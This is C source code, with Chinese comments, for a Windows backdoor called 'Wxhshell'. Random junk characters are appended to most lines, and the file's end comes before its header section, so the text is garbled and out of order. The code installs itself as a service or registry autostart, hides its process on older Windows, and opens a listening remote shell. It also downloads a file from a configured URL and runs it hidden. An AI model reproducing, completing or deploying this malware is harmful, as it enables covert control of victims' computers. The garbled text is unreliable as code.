DWORD BasePriority; ,Kf8T9z`
ULONG UniqueProcessId; -wQ^oOJ
ULONG InheritedFromUniqueProcessId; 7EP|X.
} PROCESS_BASIC_INFORMATION; ]esLAo
Gj19KQ1G
PROCNTQSIP NtQueryInformationProcess; a@y5JxFAy
L1kM~M
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y\e]2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,/`E|eG1G
=l4\4td9p
HANDLE hProcess; iEVA[xy=D
PROCESS_BASIC_INFORMATION pbi; | 58!A]
YB
B$uGA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G7Abhb,
if(NULL == hInst ) return 0; ob0 8xGj
V<2fPDZ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w;@25=
|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /rxltF3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZoON5P>
cia-OVX
if (!NtQueryInformationProcess) return 0; qD;v/,?
<cv2-?L{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'gZbNg=&[
if(!hProcess) return 0; H<Kkj
#} ~p^ 0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ).}k6v[4)
BU:Ecchbr
CloseHandle(hProcess); [AX"ne#M*
[TK? P0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /witDu7
if(hProcess==NULL) return 0; I\rZk9F
2PR7M.V7
HMODULE hMod; >mFX^t_,
char procName[255]; x`+
l#
unsigned long cbNeeded; lIVxW+
w"a 9'r
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W`u$7k]$
=Etwa
CloseHandle(hProcess); :-u-hO5*8
<L/M`(:=k
if(strstr(procName,"services")) return 1; // 以服务启动 XK%W^a*x
}or2 $\>m
return 0; // 注册表启动 e-iYJ?
} ,V33v<|wc
J7ktfyQ0W
// 主模块 `xX4!^0Hm
int StartWxhshell(LPSTR lpCmdLine) Xvu)
{ dF{6>8D=5B
SOCKET wsl; A3"1D
BOOL val=TRUE; umm \r&]A
int port=0; *"ykTqa
struct sockaddr_in door; L8:]`MQ0
chO'Q+pw
if(wscfg.ws_autoins) Install(); y)p$_.YFF
EItxRHV5
port=atoi(lpCmdLine); 4ypRyO
Kunle~Ro
if(port<=0) port=wscfg.ws_port; &$m=^
3V/_I<y
WSADATA data; xHv|ca.E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x[PEn
q8?=*1g
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,TF<y#wed
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #u8*CA9
door.sin_family = AF_INET; 0):uF_t<
door.sin_addr.s_addr = inet_addr("127.0.0.1"); dv^e9b|
door.sin_port = htons(port); :/@k5#DY
BH&/2tO%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <Spr6U9p7
closesocket(wsl); QJ a4R
return 1; hGed/Yr
} B:O+*3j
'!wPnYT@D
if(listen(wsl,2) == INVALID_SOCKET) { ^V<J69ny|9
closesocket(wsl); 6%ZHP?
return 1; NV8]#b
} [|a(
y6Q
Wxhshell(wsl); uX<+hG.n}
WSACleanup(); @[d#mz
N 8:"&WM
return 0; ezcS[r
VLh%XoQx[
} <`c25ih.4
v9E+(4I9_
// 以NT服务方式启动 &<gUFcw7Ui
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |.b%rVu
{ rDIhpT)a
DWORD status = 0; K08 iPIkQ
DWORD specificError = 0xfffffff; Cq?',QU6j
d[Rb:Yw
serviceStatus.dwServiceType = SERVICE_WIN32; |h^K M
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2f3=?YqD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v78&[
serviceStatus.dwWin32ExitCode = 0; *>e~_{F
serviceStatus.dwServiceSpecificExitCode = 0; 8?e
serviceStatus.dwCheckPoint = 0; |`w$|pm=
serviceStatus.dwWaitHint = 0; 09R,'QJ|
Lzh9DYU6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <ZigCo w
if (hServiceStatusHandle==0) return; M[h1>}$Lz
,^.S0;D,Z
status = GetLastError(); s8t f@H4r
if (status!=NO_ERROR) j';n8|Y9
{ $42Au2Jg
serviceStatus.dwCurrentState = SERVICE_STOPPED; E7rX1YdR
serviceStatus.dwCheckPoint = 0; o-SRSu
serviceStatus.dwWaitHint = 0; C!!mOAhJ
serviceStatus.dwWin32ExitCode = status; H9%l?r5
serviceStatus.dwServiceSpecificExitCode = specificError; [urH a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )UR1E?'
return; J#6LSD@(O
} n&_YYEHx
@<vF]\Ce
serviceStatus.dwCurrentState = SERVICE_RUNNING; _/|8%])
serviceStatus.dwCheckPoint = 0; G$cxDGo
serviceStatus.dwWaitHint = 0; 1KW3l<v-6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HR[Q
?rg
} 'Z\{D*=V8
X!T|07#c
// 处理NT服务事件,比如:启动、停止 TT|-aS0l(u
VOID WINAPI NTServiceHandler(DWORD fdwControl) ob0~VEH-
{ 7 ,$ axvLw
switch(fdwControl) )*!1bgXQ
{ +->\79<#V(
case SERVICE_CONTROL_STOP: %z1{Kus
serviceStatus.dwWin32ExitCode = 0; Jf_]Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; Nt HbwU,
serviceStatus.dwCheckPoint = 0; PdR >;$1
serviceStatus.dwWaitHint = 0; Qqp)@uM^
{ PT mf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6yN"
l
Q7
} %h0D)6j
return; Am#m>^!qb
case SERVICE_CONTROL_PAUSE: BpH|/7
serviceStatus.dwCurrentState = SERVICE_PAUSED; e:qo_eSC^-
break; 0HjJaML
case SERVICE_CONTROL_CONTINUE: ab{;Z5O
serviceStatus.dwCurrentState = SERVICE_RUNNING; !{IC[g n
break; jUYF.K&
case SERVICE_CONTROL_INTERROGATE: YjFWC!Qj$
break; =]T|h
};
+q7qK*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b 1cd&e
} V{KjRSVf=
O8gfiQqF&
// 标准应用程序主函数 1x{XE*%;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pXssh
{ Dft4isyt^
%Hh3u$Y,
// 获取操作系统版本 o5>/}wIf
OsIsNt=GetOsVer(); /n(9&'H<
GetModuleFileName(NULL,ExeFile,MAX_PATH); U%L
-NMe
vsH3{:&;"P
// 从命令行安装 [4Y[?)7
if(strpbrk(lpCmdLine,"iI")) Install(); n9DbiL1{
~+<<bzY
// 下载执行文件 g+.0c=G(
if(wscfg.ws_downexe) { T\jAk+$Jo
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mIRAS"Q!m
WinExec(wscfg.ws_filenam,SW_HIDE); 02,W~+d1
} &uPDZ#C-
dnix:'D1
if(!OsIsNt) { 6zuze0ud
// 如果时win9x,隐藏进程并且设置为注册表启动 k'x#t(
HideProc(); D
0
StartWxhshell(lpCmdLine); HQl~Dh0DJ
} 2@fa
rx:
else +1x)z~q=
if(StartFromService()) zFOL(s.h|0
// 以服务方式启动 !Pw$48cg
StartServiceCtrlDispatcher(DispatchTable); XYts8}y5
else "i&fp:E0
// 普通方式启动 |IAW{_9)U
StartWxhshell(lpCmdLine); +Jdm#n?_
Gp,'kw"I
return 0; :v_w!+,/
} x =h0Fq,T
4 HW;
)Xp Vu
b9y)wBC%`
=========================================== G,B?&gFX
r4EoJyt
~zMDY F"&
n%*tMr9 s
Z&A0hI4d
TQ?#PRB
" X>}@EHT
bGu([VB
#include <stdio.h> ~U9q-/(J/
#include <string.h> 4Ppop
#include <windows.h> &;s<dDQK
#include <winsock2.h> SAy{YOLtl
#include <winsvc.h> s047"Q
#include <urlmon.h> LaclC]yLU
\KCWYi]
#pragma comment (lib, "Ws2_32.lib") lr0M<5d=p
#pragma comment (lib, "urlmon.lib") zXjwnep
AxEc^Cof
#define MAX_USER 100 // 最大客户端连接数 rEmwKZF'
#define BUF_SOCK 200 // sock buffer Si]X
rub
#define KEY_BUFF 255 // 输入 buffer <}cZi4l'
$D}"k!H
#define REBOOT 0 // 重启 G~(&3
#define SHUTDOWN 1 // 关机 aV#h5s
$,@JYLC2
#define DEF_PORT 5000 // 监听端口 y`6\L$c
Gp8psH
#define REG_LEN 16 // 注册表键长度 fQO
""qh
#define SVC_LEN 80 // NT服务名长度 $C$ub&D
~"
jccOsG9;_
// 从dll定义API o<nS_x
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W/=7jM
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <